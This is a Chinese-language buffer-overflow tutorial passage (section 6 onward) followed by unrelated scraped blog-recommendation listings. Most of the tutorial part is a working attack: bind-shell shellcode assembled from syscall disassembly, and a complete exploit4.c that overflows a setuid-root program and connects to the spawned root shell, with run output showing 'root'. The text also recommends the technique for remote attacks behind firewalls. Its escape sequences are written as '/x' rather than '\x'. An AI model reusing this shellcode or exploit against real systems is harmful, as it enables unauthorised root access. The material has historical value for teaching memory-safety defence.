[ user@hosts ~ ] {1} $ gcc -o opensocketasm2 -static opensocketasm2.c
[ user@hosts ~ ] {2} $ gdb opensocketasm2
GNU gdb 4.17
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disassemble fork
Dump of assembler code for function fork:
0x804ca90 <fork>: movl $0x2,%eax
0x804ca95 <fork+5>: int $0x80
0x804ca97 <fork+7>: cmpl $0xfffff001,%eax
0x804ca9c <fork+12>: jae 0x804cdc0 <__syscall_error>
0x804caa2 <fork+18>: ret
0x804caa3 <fork+19>: nop
0x804caa4 <fork+20>: nop
0x804caa5 <fork+21>: nop
0x804caa6 <fork+22>: nop
0x804caa7 <fork+23>: nop
0x804caa8 <fork+24>: nop
0x804caa9 <fork+25>: nop
0x804caaa <fork+26>: nop
0x804caab <fork+27>: nop
0x804caac <fork+28>: nop
0x804caad <fork+29>: nop
0x804caae <fork+30>: nop
0x804caaf <fork+31>: nop
End of assembler dump.
(gdb) disassemble socket
Dump of assembler code for function socket:
0x804cda0 <socket>: movl %ebx,%edx
0x804cda2 <socket+2>: movl $0x66,%eax
0x804cda7 <socket+7>: movl $0x1,%ebx
0x804cdac <socket+12>: leal 0x4(%esp,1),%ecx
0x804cdb0 <socket+16>: int $0x80
0x804cdb2 <socket+18>: movl %edx,%ebx
0x804cdb4 <socket+20>: cmpl $0xffffff83,%eax
0x804cdb7 <socket+23>: jae 0x804cdc0 <__syscall_error>
0x804cdbd <socket+29>: ret
0x804cdbe <socket+30>: nop
0x804cdbf <socket+31>: nop
End of assembler dump.
(gdb) disassemble bind
Dump of assembler code for function bind:
0x804cd60 <bind>: movl %ebx,%edx
0x804cd62 <bind+2>: movl $0x66,%eax
0x804cd67 <bind+7>: movl $0x2,%ebx
0x804cd6c <bind+12>: leal 0x4(%esp,1),%ecx
0x804cd70 <bind+16>: int $0x80
0x804cd72 <bind+18>: movl %edx,%ebx
0x804cd74 <bind+20>: cmpl $0xffffff83,%eax
0x804cd77 <bind+23>: jae 0x804cdc0 <__syscall_error>
0x804cd7d <bind+29>: ret
0x804cd7e <bind+30>: nop
0x804cd7f <bind+31>: nop
End of assembler dump.
(gdb) disassemble listen
Dump of assembler code for function listen:
0x804cd80 <listen>: movl %ebx,%edx
0x804cd82 <listen+2>: movl $0x66,%eax
0x804cd87 <listen+7>: movl $0x4,%ebx
0x804cd8c <listen+12>: leal 0x4(%esp,1),%ecx
0x804cd90 <listen+16>: int $0x80
0x804cd92 <listen+18>: movl %edx,%ebx
0x804cd94 <listen+20>: cmpl $0xffffff83,%eax
0x804cd97 <listen+23>: jae 0x804cdc0 <__syscall_error>
0x804cd9d <listen+29>: ret
0x804cd9e <listen+30>: nop
0x804cd9f <listen+31>: nop
End of assembler dump.
(gdb) disassemble accept
Dump of assembler code for function __accept:
0x804cd40 <__accept>: movl %ebx,%edx
0x804cd42 <__accept+2>: movl $0x66,%eax
0x804cd47 <__accept+7>: movl $0x5,%ebx
0x804cd4c <__accept+12>: leal 0x4(%esp,1),%ecx
0x804cd50 <__accept+16>: int $0x80
0x804cd52 <__accept+18>: movl %edx,%ebx
0x804cd54 <__accept+20>: cmpl $0xffffff83,%eax
0x804cd57 <__accept+23>: jae 0x804cdc0 <__syscall_error>
0x804cd5d <__accept+29>: ret
0x804cd5e <__accept+30>: nop
0x804cd5f <__accept+31>: nop
End of assembler dump.
(gdb) disassemble dup2
Dump of assembler code for function dup2:
0x804cbe0 <dup2>: movl %ebx,%edx
0x804cbe2 <dup2+2>: movl 0x8(%esp,1),%ecx
0x804cbe6 <dup2+6>: movl 0x4(%esp,1),%ebx
0x804cbea <dup2+10>: movl $0x3f,%eax
0x804cbef <dup2+15>: int $0x80
0x804cbf1 <dup2+17>: movl %edx,%ebx
0x804cbf3 <dup2+19>: cmpl $0xfffff001,%eax
0x804cbf8 <dup2+24>: jae 0x804cdc0 <__syscall_error>
0x804cbfe <dup2+30>: ret
0x804cbff <dup2+31>: nop
End of assembler dump.
(gdb)
----------------------------------------------------------------------------

fork(); code
----------------------------------------------------------------------------
char code[]=
    "/x31/xc0" /* xorl %eax,%eax */
    "/xb0/x02" /* movb $0x2,%al */
    "/xcd/x80"; /* int $0x80 */
----------------------------------------------------------------------------

socket(2,1,6); code
----------------------------------------------------------------------------
    /* %ecx 是所有参数的一个指针. */
char code[]=
    "/x31/xc0" /* xorl %eax,%eax */
    "/x31/xdb" /* xorl %ebx,%ebx */
    "/x89/xf1" /* movl %esi,%ecx */
    "/xb0/x02" /* movb $0x2,%al */
    "/x89/x06" /* movl %eax,(%esi) */
    /* 第一个参数. */
    /* 在使用该指令前 %esi 已经释放了存储空间. */
    "/xb0/x01" /* movb $0x1,%al */
    "/x89/x46/x04" /* movl %eax,0x4(%esi) */
    /* 第二个参数. */
    "/xb0/x06" /* movb $0x6,%al */
    "/x89/x46/x08" /* movl %eax,0x8(%esi) */
    /* 第三个参数. */
    "/xb0/x66" /* movb $0x66,%al */
    "/xb3/x01" /* movb $0x1,%bl */
    "/xcd/x80"; /* int $0x80 */
----------------------------------------------------------------------------

bind(soc,(struct sockaddr *)&serv_addr,0x10); code
----------------------------------------------------------------------------
    /* %ecx 是所有参数的一个指针. */
char code[]=
    "/x89/xf1" /* movl %esi,%ecx */
    "/x89/x06" /* movl %eax,(%esi) */
    /* 在使用该指令前,%eax 取得soc的值. */
    /* 第一个参数. */
    "/xb0/x02" /* movb $0x2,%al */
    "/x66/x89/x46/x0c" /* movw %ax,0xc(%esi) */
    /* serv_addr.sin_family=2 */
    /* 2 被存储在 0xc(%esi) 中. */
    "/xb0/x77" /* movb $0x77,%al */
    "/x66/x89/x46/x0e" /* movw %ax,0xe(%esi) */
    /* 存储的端口号在 0xe(%esi) 中. */
    "/x8d/x46/x0c" /* leal 0xc(%esi),%eax */
    /* %eax = serv_addr的地址 */
    "/x89/x46/x04" /* movl %eax,0x4(%esi) */
    /* 第二个参数. */
    "/x31/xc0" /* xorl %eax,%eax */
    "/x89/x46/x10" /* movl %eax,0x10(%esi) */
    /* serv_addr.sin_addr.s_addr=0 */
    /* 0 被存储在 0x10(%esi) 中. */
    "/xb0/x10" /* movb $0x10,%al */
    "/x89/x46/x08" /* movl %eax,0x8(%esi) */
    /* 第三个参数. */
    "/xb0/x66" /* movb $0x66,%al */
    "/xb3/x02" /* movb $0x2,%bl */
    "/xcd/x80"; /* int $0x80 */
----------------------------------------------------------------------------

listen(soc,1); code
----------------------------------------------------------------------------
    /* %ecx 是所有参数的一个指针. */
char code[]=
    "/x89/xf1" /* movl %esi,%ecx */
    "/x89/x06" /* movl %eax,(%esi) */
    /* 在使用该指令前,%eax 取得soc的值. */
    /* 第一个参数. */
    "/xb0/x01" /* movb $0x1,%al */
    "/x89/x46/x04" /* movl %eax,0x4(%esi) */
    /* 第二个参数. */
    "/xb0/x66" /* movb $0x66,%al */
    "/xb3/x04" /* movb $0x4,%bl */
    "/xcd/x80"; /* int $0x80 */
----------------------------------------------------------------------------

accept(soc,0,0); code
----------------------------------------------------------------------------
    /* %ecx 是所有参数的一个指针. */
char code[]=
    "/x89/xf1" /* movl %esi,%ecx */
    "/x89/xf1" /* movl %eax,(%esi) */
    /* 在使用该指令前,%eax 取得soc的值. */
    /* 第一个参数. */
    "/x31/xc0" /* xorl %eax,%eax */
    "/x89/x46/x04" /* movl %eax,0x4(%esi) */
    /* 第二个参数. */
    "/x89/x46/x08" /* movl %eax,0x8(%esi) */
    /* 第三个参数. */
    "/xb0/x66" /* movb $0x66,%al */
    "/xb3/x05" /* movb $0x5,%bl */
    "/xcd/x80"; /* int $0x80 */
----------------------------------------------------------------------------

dup2(cli,0); code
----------------------------------------------------------------------------
    /* 第一个参数是 %ebx ,第二个参数是 %ecx */
char code[]=
    /* 在使用该指令前,%eax 取得cli的值. */
    "/x88/xc3" /* movb %al,%bl */
    "/xb0/x3f" /* movb $0x3f,%al */
    "/x31/xc9" /* xorl %ecx,%ecx */
    "/xcd/x80"; /* int $0x80 */
----------------------------------------------------------------------------

6.3 修改常规的shellcode

你需要花点工夫来把上面的的代码融合到一块来。

新的shellcode
----------------------------------------------------------------------------
char shellcode[]=
    "/x31/xc0" /* xorl %eax,%eax */
    "/xb0/x02" /* movb $0x2,%al */
    "/xcd/x80" /* int $0x80 */
    "/x85/xc0" /* testl %eax,%eax */
    "/x75/x43" /* jne 0x43 */
    /* fork()!=0 case */
    /* 它会调用 exit(0) */
    /* 这样做的结果是,它会jump两次, 因为exit(0)被定位得太远了*/
    "/xeb/x43" /* jmp 0x43 */
    /* fork()==0 case */
    /* 它会调用 -0xa5 */
    /* 同样的,它也要jump两次,因为 -0xa5 也被定位得很远. */
    "/x5e" /* popl %esi */
    "/x31/xc0" /* xorl %eax,%eax */
    "/x31/xdb" /* xorl %ebx,%ebx */
    "/x89/xf1" /* movl %esi,%ecx */
    "/xb0/x02" /* movb $0x2,%al */
    "/x89/x06" /* movl %eax,(%esi) */
    "/xb0/x01" /* movb $0x1,%al */
    "/x89/x46/x04" /* movl %eax,0x4(%esi) */
    "/xb0/x06" /* movb $0x6,%al */
    "/x89/x46/x08" /* movl %eax,0x8(%esi) */
    "/xb0/x66" /* movb $0x66,%al */
    "/xb3/x01" /* movb $0x1,%bl */
    "/xcd/x80" /* int $0x80 */
    "/x89/x06" /* movl %eax,(%esi) */
    "/xb0/x02" /* movb $0x2,%al */
    "/x66/x89/x46/x0c" /* movw %ax,0xc(%esi) */
    "/xb0/x77" /* movb $0x77,%al */
    "/x66/x89/x46/x0e" /* movw %ax,0xe(%esi) */
    "/x8d/x46/x0c" /* leal 0xc(%esi),%eax */
    "/x89/x46/x04" /* movl %eax,0x4(%esi) */
    "/x31/xc0" /* xorl %eax,%eax */
    "/x89/x46/x10" /* movl %eax,0x10(%esi) */
    "/xb0/x10" /* movb $0x10,%al */
    "/x89/x46/x08" /* movl %eax,0x8(%esi) */
    "/xb0/x66" /* movb $0x66,%al */
    "/xb3/x02" /* movb $0x2,%bl */
    "/xcd/x80" /* int $0x80 */
    "/xeb/x04" /* jmp 0x4 */
    "/xeb/x55" /* jmp 0x55 */
    "/xeb/x5b" /* jmp 0x5b */
    "/xb0/x01" /* movb $0x1,%al */
    "/x89/x46/x04" /* movl %eax,0x4(%esi) */
    "/xb0/x66" /* movb $0x66,%al */
    "/xb3/x04" /* movb $0x4,%bl */
    "/xcd/x80" /* int $0x80 */
    "/x31/xc0" /* xorl %eax,%eax */
    "/x89/x46/x04" /* movl %eax,0x4(%esi) */
    "/x89/x46/x08" /* movl %eax,0x8(%esi) */
    "/xb0/x66" /* movb $0x66,%al */
    "/xb3/x05" /* movb $0x5,%bl */
    "/xcd/x80" /* int $0x80 */
    "/x88/xc3" /* movb %al,%bl */
    "/xb0/x3f" /* movb $0x3f,%al */
    "/x31/xc9" /* xorl %ecx,%ecx */
    "/xcd/x80" /* int $0x80 */
    "/xb0/x3f" /* movb $0x3f,%al */
    "/xb1/x01" /* movb $0x1,%cl */
    "/xcd/x80" /* int $0x80 */
    "/xb0/x3f" /* movb $0x3f,%al */
    "/xb1/x02" /* movb $0x2,%cl */
    "/xcd/x80" /* int $0x80 */
    "/xb8/x2f/x62/x69/x6e" /* movl $0x6e69622f,%eax */
    /* %eax="/bin" */
    "/x89/x06" /* movl %eax,(%esi) */
    "/xb8/x2f/x73/x68/x2f" /* movl $0x2f68732f,%eax */
    /* %eax="/sh/" */
    "/x89/x46/x04" /* movl %eax,0x4(%esi) */
    "/x31/xc0" /* xorl %eax,%eax */
    "/x88/x46/x07" /* movb %al,0x7(%esi) */
    "/x89/x76/x08" /* movl %esi,0x8(%esi) */
    "/x89/x46/x0c" /* movl %eax,0xc(%esi) */
    "/xb0/x0b" /* movb $0xb,%al */
    "/x89/xf3" /* movl %esi,%ebx */
    "/x8d/x4e/x08" /* leal 0x8(%esi),%ecx */
    "/x8d/x56/x0c" /* leal 0xc(%esi),%edx */
    "/xcd/x80" /* int $0x80 */
    "/x31/xc0" /* xorl %eax,%eax */
    "/xb0/x01" /* movb $0x1,%al */
    "/x31/xdb" /* xorl %ebx,%ebx */
    "/xcd/x80" /* int $0x80 */
    "/xe8/x5b/xff/xff/xff"; /* call -0xa5 */
----------------------------------------------------------------------------

6.4 攻击程序

使用该shellcode,我们可以很方便的写出代码来。当然,你还得写个连接套接字
(socket)的代码。

exploit4.c
----------------------------------------------------------------------------
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<netdb.h>
#include<netinet/in.h>

#define ALIGN 0
#define OFFSET 0
#define RET_POSITION 1024
#define RANGE 20
#define NOP 0x90

char shellcode[]=
    "/x31/xc0" /* xorl %eax,%eax */
    "/xb0/x02" /* movb $0x2,%al */
    "/xcd/x80" /* int $0x80 */
    "/x85/xc0" /* testl %eax,%eax */
    "/x75/x43" /* jne 0x43 */
    "/xeb/x43" /* jmp 0x43 */
    "/x5e" /* popl %esi */
    "/x31/xc0" /* xorl %eax,%eax */
    "/x31/xdb" /* xorl %ebx,%ebx */
    "/x89/xf1" /* movl %esi,%ecx */
    "/xb0/x02" /* movb $0x2,%al */
    "/x89/x06" /* movl %eax,(%esi) */
    "/xb0/x01" /* movb $0x1,%al */
    "/x89/x46/x04" /* movl %eax,0x4(%esi) */
    "/xb0/x06" /* movb $0x6,%al */
    "/x89/x46/x08" /* movl %eax,0x8(%esi) */
    "/xb0/x66" /* movb $0x66,%al */
    "/xb3/x01" /* movb $0x1,%bl */
    "/xcd/x80" /* int $0x80 */
    "/x89/x06" /* movl %eax,(%esi) */
    "/xb0/x02" /* movb $0x2,%al */
    "/x66/x89/x46/x0c" /* movw %ax,0xc(%esi) */
    "/xb0/x77" /* movb $0x77,%al */
    "/x66/x89/x46/x0e" /* movw %ax,0xe(%esi) */
    "/x8d/x46/x0c" /* leal 0xc(%esi),%eax */
    "/x89/x46/x04" /* movl %eax,0x4(%esi) */
    "/x31/xc0" /* xorl %eax,%eax */
    "/x89/x46/x10" /* movl %eax,0x10(%esi) */
    "/xb0/x10" /* movb $0x10,%al */
    "/x89/x46/x08" /* movl %eax,0x8(%esi) */
    "/xb0/x66" /* movb $0x66,%al */
    "/xb3/x02" /* movb $0x2,%bl */
    "/xcd/x80" /* int $0x80 */
    "/xeb/x04" /* jmp 0x4 */
    "/xeb/x55" /* jmp 0x55 */
    "/xeb/x5b" /* jmp 0x5b */
    "/xb0/x01" /* movb $0x1,%al */
    "/x89/x46/x04" /* movl %eax,0x4(%esi) */
    "/xb0/x66" /* movb $0x66,%al */
    "/xb3/x04" /* movb $0x4,%bl */
    "/xcd/x80" /* int $0x80 */
    "/x31/xc0" /* xorl %eax,%eax */
    "/x89/x46/x04" /* movl %eax,0x4(%esi) */
    "/x89/x46/x08" /* movl %eax,0x8(%esi) */
    "/xb0/x66" /* movb $0x66,%al */
    "/xb3/x05" /* movb $0x5,%bl */
    "/xcd/x80" /* int $0x80 */
    "/x88/xc3" /* movb %al,%bl */
    "/xb0/x3f" /* movb $0x3f,%al */
    "/x31/xc9" /* xorl %ecx,%ecx */
    "/xcd/x80" /* int $0x80 */
    "/xb0/x3f" /* movb $0x3f,%al */
    "/xb1/x01" /* movb $0x1,%cl */
    "/xcd/x80" /* int $0x80 */
    "/xb0/x3f" /* movb $0x3f,%al */
    "/xb1/x02" /* movb $0x2,%cl */
    "/xcd/x80" /* int $0x80 */
    "/xb8/x2f/x62/x69/x6e" /* movl $0x6e69622f,%eax */
    "/x89/x06" /* movl %eax,(%esi) */
    "/xb8/x2f/x73/x68/x2f" /* movl $0x2f68732f,%eax */
    "/x89/x46/x04" /* movl %eax,0x4(%esi) */
    "/x31/xc0" /* xorl %eax,%eax */
    "/x88/x46/x07" /* movb %al,0x7(%esi) */
    "/x89/x76/x08" /* movl %esi,0x8(%esi) */
    "/x89/x46/x0c" /* movl %eax,0xc(%esi) */
    "/xb0/x0b" /* movb $0xb,%al */
    "/x89/xf3" /* movl %esi,%ebx */
    "/x8d/x4e/x08" /* leal 0x8(%esi),%ecx */
    "/x8d/x56/x0c" /* leal 0xc(%esi),%edx */
    "/xcd/x80" /* int $0x80 */
    "/x31/xc0" /* xorl %eax,%eax */
    "/xb0/x01" /* movb $0x1,%al */
    "/x31/xdb" /* xorl %ebx,%ebx */
    "/xcd/x80" /* int $0x80 */
    "/xe8/x5b/xff/xff/xff"; /* call -0xa5 */

unsigned long get_sp(void)
{
    __asm__("movl %esp,%eax");
}

long getip(char *name)
{
    struct hostent *hp;
    long ip;
    if((ip=inet_addr(name))==-1)
    {
        if((hp=gethostbyname(name))==NULL)
        {
            fprintf(stderr,"Can't resolve host./n");
            exit(0);
        }
        memcpy(&ip,(hp->h_addr),4);
    }
    return ip;
}

int exec_sh(int sockfd)
{
    char snd[4096],rcv[4096];
    fd_set rset;
    while(1)
    {
        FD_ZERO(&rset);
        FD_SET(fileno(stdin),&rset);
        FD_SET(sockfd,&rset);
        select(255,&rset,NULL,NULL,NULL);
        if(FD_ISSET(fileno(stdin),&rset))
        {
            memset(snd,0,sizeof(snd));
            fgets(snd,sizeof(snd),stdin);
            write(sockfd,snd,strlen(snd));
        }
        if(FD_ISSET(sockfd,&rset))
        {
            memset(rcv,0,sizeof(rcv));
            if(read(sockfd,rcv,sizeof(rcv))<=0)
                exit(0);
            fputs(rcv,stdout);
        }
    }
}

int connect_sh(long ip)
{
    int sockfd,i;
    struct sockaddr_in sin;
    printf("Connect to the shell/n");
    fflush(stdout);
    memset(&sin,0,sizeof(sin));
    sin.sin_family=AF_INET;
    sin.sin_port=htons(30464);
    sin.sin_addr.s_addr=ip;
    if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0)
    {
        printf("Can't create socket/n");
        exit(0);
    }
    if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0)
    {
        printf("Can't connect to the shell/n");
        exit(0);
    }
    return sockfd;
}

void main(int argc,char **argv)
{
    char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;
    long addr;
    unsigned long sp;
    int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
    int i;
    int sockfd;

    if(argc>1)
        offset=atoi(argv[1]);

    sp=get_sp();
    addr=sp-offset;

    for(i=0;i<bsize;i+=4)
    {
        buff[i+ALIGN]=(addr&0x000000ff);
        buff[i+ALIGN+1]=(addr&0x0000ff00)>>8;
        buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;
        buff[i+ALIGN+3]=(addr&0xff000000)>>24;
    }

    for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)
        buff[i]=NOP;

    ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
    for(i=0;i<strlen(shellcode);i++)
        *(ptr++)=shellcode[i];

    buff[bsize-1]='/0';

    printf("Jump to 0x%08x/n",addr);

    if(fork()==0)
    {
        execl("./vulnerable4","vulnerable4",buff,0);
        exit(0);
    }
    sleep(5);
    sockfd=connect_sh(getip("127.0.0.1"));
    exec_sh(sockfd);
}
----------------------------------------------------------------------------

运行结果

----------------------------------------------------------------------------
[ user@hosts ~ ] {1} $ ls -l vulnerable4
-rwsr-xr-x 1 root root 4091 Oct 18 20:21 vulnerable4*
[ user@hosts ~ ] {2} $ ls -l exploit4
-rwxr-xr-x 1 ohhara cse 7973 Oct 18 20:25 exploit4*
[ user@hosts ~ ] {3} $ ./exploit4
Jump to 0xbfffec64
Connect to the shell
Can't connect to the shell
[ user@hosts ~ ] {4} $ ./exploit4 500
Jump to 0xbfffea70
Connect to the shell
whoami
root
----------------------------------------------------------------------------

6.5 技巧用途

可用该技术来编写各种各样的远程攻击代码。如果被攻击的主机是在防火墙后的,你可
以在一个未过滤的端口打开一个套接字。这在你使用缓冲溢出来攻击一个rpc服务的
时候是非常之有效的。


7. 总结

本文介绍了4种缓冲溢出的攻击技巧。它们是:绕过过滤器限制,改变UID为0,突破
chroot,和建立套接字连接。这些技巧在编写缓冲溢出攻击代码时非常有帮助。另外这
些技巧也可以组合起来运用。所有程序员在开发setuid root程序和服务程序的时候都
应该特别小心!!!!!!!!!


8. 参考文献

Smashing The Stack For Fun And Profit by Aleph1
wu-ftpd remote exploit code by duke
ADMmountd remote exploit code by ADM
从心脏滴血漏洞到内存安全:实时检测与防御高级威胁的技术实践 内存安全是软件安全的基石,其核心在于确保程序在运行过程中对内存的访问与操作符合预期,防止越界、滥用等行为。其原理涉及对程序运行时内存空间的布局、分配、读写和执行权限的精细管理。保障内存安全的技术价值巨大,它能从根本上防御利用缓冲区溢出、释放后使用等漏洞发起的攻击,这些漏洞常被用于高级持续性威胁(APT)和无文件攻击。在应用场景上,内存安全技术广泛服务于金融、政务、互联网等关键行业的核心服务器与终端防护。本文聚焦的实时内存检测与防御方案,正是通过深度监控运行时行为,结合控制流完整性等模型,精准识别并阻断如心脏 阅读详情

相关推荐

Address Sanitizer:C/C++内存错误检测利器,原理与实战指南

内存错误是C/C++开发中常见的棘手问题,如缓冲区溢出、释放后使用等,不仅导致程序崩溃,还可能引发安全漏洞。其检测原理通常涉及对内存访问行为的实时监控,通过编译时插桩和运行时影子内存映射,在内存分配、访问和释放的关键路径上植入检查逻辑,从而精准定位错误源头。这项技术的核心价值在于将内存问题检测“左移”,在开发测试阶段以较低性能开销(通常2倍左右)主动发现缺陷,显著提升代码质量和安全性。在实际应用场景中,它尤其适用于单元测试、集成测试及复杂多线程环境下的内存问题排查,是现代C/C++工程实践中不可或缺的基础设

weixin_27734811的博客 253

linux setuid函数_setuid和seteuid

setuid和seteuidblog 归档 linux unix 系统编程linux下有4种uid, 真实uid(real user id), 有效uid(effective user id), 被保存的uid(saved user id)和文件系统的uid. 本文详细讲解一下相关内容。linux下有4种uid, 真实uid(real user id), 有效uid(effective user ...

weixin_42413377的博客 884

深入解析AddressSanitizer:从影子内存到实战调试技巧

本文深入解析了AddressSanitizer(ASan)的核心机制与实战应用。ASan通过影子内存映射和红区守卫技术,结合编译器插桩,高效检测C/C++程序中的内存错误,如缓冲区溢出、释放后使用和内存泄漏。文章详细介绍了其工作原理、编译启用方法、典型错误报告解读,并提供了高级调试技巧与性能调优建议,是提升代码稳定性的必备工具。

sony5的博客 701

chmod u+s用法和setuid(),seteuid()

下午使用chmod u+s 命令时有一些迷惑,死活想不明白,强迫症开始发作,心想非要弄清楚不可,在网上看无数资料,一番折腾,还是一头雾水。恍然间,才发觉这是一个大坑。然而,不管怎样,看了这么多资料,还是有一些初步理解,做个笔记以供进一步学习。 网上有一篇同主题的文章http://www.groad.net/bbs/read.php?tid-3743.html,写得比较好,概念解释地比较透彻,相对

乌托邦 1万+

从零构建:基于OpenCV与人体姿态分析的跌倒检测实战(附完整源码)

本文详细介绍了如何从零构建基于OpenCV与人体姿态分析的跌倒检测系统,包含完整源码与部署指南。通过MediaPipe实时检测33个人体关键点,结合多条件联合判断算法,实现高精度跌倒识别。文章还提供了性能优化技巧、常见问题解决方案以及家用与养老院两种部署方案,帮助开发者快速落地这一计算机视觉应用。

weixin_29085151的博客 240

避坑指南:ANSYS流固耦合计算中System Coupling数据传递设置与常见报错解决

本文深入解析ANSYS Workbench中System Coupling模块在双向流固耦合(FSI)计算中的应用,详细讲解数据传递机制、典型报错解决方案及高阶调试技巧。通过实际案例展示如何优化耦合步长、处理大变形问题,并提升并行计算效率,帮助工程师有效规避常见技术陷阱。

weixin_29213525的博客 731

编程 setuid, setruid函数

  [linux]编程 getuid,setuid函数(转载自http://sunny-day.blogbus.com/logs/1)                                                                         在linux中每个进程有三个[实际上有第4个]用户标识符.        real uid      : 真实用户I

duanxuyun的专栏 3212

基于Openrouter的API调用免费大模型

Openrouter 是一个 AI 模型聚合平台,整合了全球 200 多种主流 AI 模型,包括 GPT-4、Claude、Gemini 等,以及国产通义千问、DeepSeek 等。其核心优势是统一的 API 设计,开发者仅需少量代码即可与多个模型交互,还支持自动路由与回退机制。用户可通过 OpenAI SDK 或 LangChain 调用 Openrouter 中的模型。

MurphyStar的博客 6208

getuid,setuid函数

[linux]编程 getuid,setuid函数(转载自http://sunny-day.blogbus.com/logs/1)     在linux中每个进程有三个[实际上有第4个]用户标识符.  real uid : 真实用户ID. 

loyal_baby的专栏 3985

本地部署开源视频会议解决方案 Jitsi Meet 并实现外网访问

Jitsi Meet 是一款基于 WebRTC 技术的开源视频会议解决方案,它允许用户通过互联网进行高质量的视频通话、语音通话和文本聊天,非常适合用于在线教育、远程办公、团队协作等场景。本文将详细介绍如何利用 Docker 在本地部署 Jitsi Meet 并结合路由侠实现外网访问本地部署的 Jitsi Meet。

lyxnwct的博客 1947

JS自动化生成大疆WPML航线文件实战(附完整代码与云台控制解析)

本文详细介绍了如何利用JavaScript自动化生成大疆WPML航线文件,以解决手动规划航线效率低、易出错的问题。通过解析WPML文件结构,特别是云台控制等核心参数,并封装可复用的JS模板函数,开发者能够快速批量生成复杂航线,如倾斜摄影五向飞行,实现航测与巡检任务的标准化与高效执行。

weixin_29007243的博客 300

真实用户id、有效用户id、保存的设置用户id的区别以及联系(setuid、seteuid)

文章转载自:https://blog.csdn.net/taiyang1987912/article/details/40651623 在使用 setuid() 函数时会遇到 3 个关于 ID 的概念: real user ID -- 真实用户 ID effective user ID -- 有效用户 ID saved set-user-ID -- 保存了的设置用户 ID。 真实用户 ID (real user ID) 就是通常所说的 UID,在 /etc/passwd 中能看到它的身影,如: b.

a823837282的博客 2465

playwright-mcp 安装使用的详细教程

Playwright MCP 快速入门指南 Playwright MCP Server 是由微软开发的浏览器自动化服务,通过 MCP 协议为 AI/Agent/LLM 提供网页交互能力。它基于可访问性树而非屏幕截图,支持多种浏览器和运行模式。 安装要求: Node.js v18+ 命令行操作能力 支持 MCP 的客户端 安装方式: 通过 npx 快速启动:npx @playwright/mcp@latest 项目依赖安装:npm install @playwright/mcp 主要特性: 支持 Chrome

上善若水 8021

网络视频教程(共57个)全实战过程

01 ping命令的使用http://images.enet.com.cn/eschool/wmv/ping.wmv 02 netstat命令的使用 http://images.enet.com.cn/eschool/wmv/netstat.wmv 03 tasklist和taskkill的使用 http://images.enet.com.cn/eschool/wmv/tasklist.wmv 0

飞鱼计划 10万+

如何在SpringBoot中实现AI 流式输出?

🏆本文收录于 《全栈 Bug 调优(实战版)》 专栏。专栏聚焦真实项目中的各类疑难 Bug,从成因剖析 → 排查路径 → 解决方案 → 预防优化全链路拆解,形成一套可复用、可沉淀的实战知识体系。无论你是初入职场的开发者,还是负责复杂项目的资深工程师,都可以在这里构建一套属于自己的「问题诊断与性能调优」方法论,助你稳步进阶、放大技术价值 。

**My Coding Family** 1484

CAN 通信测试工具 canutils

概述 CAN,Controller Area Network,控制器局域网,一种高可靠性的现场总线。广泛用于汽车电子、工业控制通信。 canutils 工具包内含 5 个独立的程序:canconfig、candump、canecho、cansend、cansequence。这几个程序的功能简述如下: canconfig:用于配置 CAN 总线接口的参数,主要是波特率和模式。 candump...

一个软件工程师的技术笔记 1万+

零基础53个黑客在线教程

01 ping命令的使用http://images.enet.com.cn/eschool/wmv/ping.wmv 02 netstat命令的使用 http://images.enet.com.cn/eschool/wmv/netstat.wmv 03 tasklist和taskkill的使用 http://images.enet.com.cn/eschool/wmv/tasklist.wmv

905

Probability and Statistics - 4th edition

Probability and Statistics - 4th edition

hack入门教程——53集wmv(迅雷下载)

01 ping命令的使用http://images.enet.com.cn/eschool/wmv/ping.wmv02 netstat命令的使用 http://images.enet.com.cn/eschool/wmv/netstat.wmv03 tasklist和taskkill的使用 http://images.enet.com.cn/eschool/wmv/tasklist.wmv04扫

HeiTaoJieKe的专栏 1348

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

***入门教程1-57集!

***入门教程1-57集01 ping命令的使用http://p_w_picpaths.enet.com.cn/eschool/wmv/ping.wmv02 netstat命令的使用 http://p_w_picpaths.enet.com.cn/eschool/wmv/netstat.wmv03 tasklist和taskkill的使用 http://p_w...

weixin_33858336的博客 537

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

永磁同步电机无感FOC全速域控制实战:预定位+IF强拖+SMO切换策略

永磁同步电机(PMSM)无感FOC控制是现代驱动系统的核心技术,其本质是在无位置传感器条件下,通过定子电压电流反推转子位置与速度。该技术依赖于准确的电机参数建模、鲁棒观测器设计及多阶段启动策略协同。滑模观测器(SMO)凭借有限时间收敛与强抗噪能力,成为中低速段主流方案;而预定位与IF强拖则共同解决零速启动难题,确保可靠初始对齐与平稳升速。在AGV、协作机器人、压缩机等对启动可靠性与低速平稳性要求严苛的工业场景中,全速域无感控制已从理论走向量产落地,其工程价值体现在免编码器成本、提升系统防护等级、简化机械结构

weixin_34405557的博客 412

Cppcheck深度解析:C/C++静态代码分析工具的核心原理与应用

你是否曾在C/C++项目中遭遇过难以调试的内存泄漏、缓冲区溢出或空指针解引用错误?根据CWE(Common Weakness Enumeration,常见弱点枚举)统计,超过70%的软件漏洞源于内存管理问题和输入验证缺陷。传统编译器仅能检测语法错误,而动态测试往往难以覆盖所有代码路径。Cppcheck作为一款开源静态代码分析工具,能够在编译前发现潜在缺陷,显著降低生产环境故障风险。 本文将系统剖...

gitblog_00100的博客 394

漏洞扫描以及工具

